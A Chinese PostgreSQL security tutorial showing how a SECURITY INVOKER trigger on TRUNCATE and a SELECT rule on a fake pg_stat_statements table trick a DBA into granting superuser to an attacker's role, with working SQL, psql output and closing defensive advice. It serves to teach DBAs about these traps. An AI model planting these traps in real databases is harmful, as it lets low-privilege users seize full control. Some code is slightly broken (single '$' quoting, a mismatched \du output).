PostgreSQL 安全管理 函数调用陷阱攻击

1 背景知识

本章通过函数和触发器,误导DBA做一些常规操作从而获得超级用户的权限。

2 使用临时表进行提权

2.1 制作准备攻击函数触发器

1、攻击者可以创建一个新的函数,这个函数关联到一个临时表。
2、当DBA使用 TRUNCATE 命令清空表时,则触发函数。
3、函数内部包含了一个将user01 提权成超级用户的语句。
4、这样攻击者就成为了超级用户。
5、security invoker是指调用这个函数时使用调用者的权限,而不是函数owner的权限。

CREATE TABLE t_temp(id int);
CREATE OR REPLACE FUNCTION atack() RETURNS TRIGGER AS $  
DECLARE
BEGIN
  ALTER USER USER01 superuser;   
  RETURN NULL;  
END;  
$ language plpgsql SECURITY INVOKER;  
CREATE TRIGGER atack_trigger  BEFORE TRUNCATE ON t_temp 
FOR EACH STATEMENT EXECUTE PROCEDURE atack();  

2.2 执行TRUNCATE 语句

从以下结果得知:user01 已经被提权为 Superuser

postgres=# \du user01;
                  List of roles
 Role name | Attributes |       Member of
-----------+------------+------------------------
 user01    |            | {pg_read_server_files}

postgres=# TRUNCATE t_temp ;
TRUNCATE TABLE
postgres=# \du user01;
                  List of roles
 Role name | Attributes |       Member of
-----------+------------+------------------------
 user01    | Superuser  | {pg_read_server_files}

3 使用SELECT 查询提权

3.1 准备攻击表和函数规则

DROP TABLE pg_stat_statements;
CREATE TABLE pg_stat_statements(id int);
CREATE OR REPLACE FUNCTION atack_s() RETURNS VOID AS $  
DECLARE
BEGIN  
ALTER USER user02 SUPERUSER;    
END;  
$ language plpgsql SECURITY INVOKER; 
CREATE RULE "_RETURN" AS ON SELECT TO pg_stat_statements DO INSTEAD SELECT 1 AS id FROM atack_s();  

3.2 执行 SELECT 语句

从以下结果得知:user02 已经被提权为 SUPERUSER

postgres=# \du user02;
                  List of roles
 Role name | Attributes |       Member of
-----------+------------+------------------------
 user01    |            | {pg_read_server_files}

postgres=# SELECT *  FROM  pg_stat_statements;
//屏幕输出:
 id
----
  1
(1 row)

postgres=# \du user02;
           List of roles
 Role name | Attributes | Member of
-----------+------------+-----------
 user02    | Superuser  | {}

4 防止攻击的方法

1、函数的security invoker权限是很危险的,security definer则没有以上风险。
2、执行前确认表的定义情况。

postgres=# \d+ pg_stat_statements
                    View "public.pg_stat_statements"
 Column |  Type   | Collation | Nullable | Default | Storage | Description
--------+---------+-----------+----------+---------+---------+-------------
 id     | integer |           |          |         | plain   |
View definition:
 SELECT 1 AS id
   FROM atack_s() atack_s(atack_s);

3、在事务中执行,出现问题则rollback,可以回退陷阱中的操作。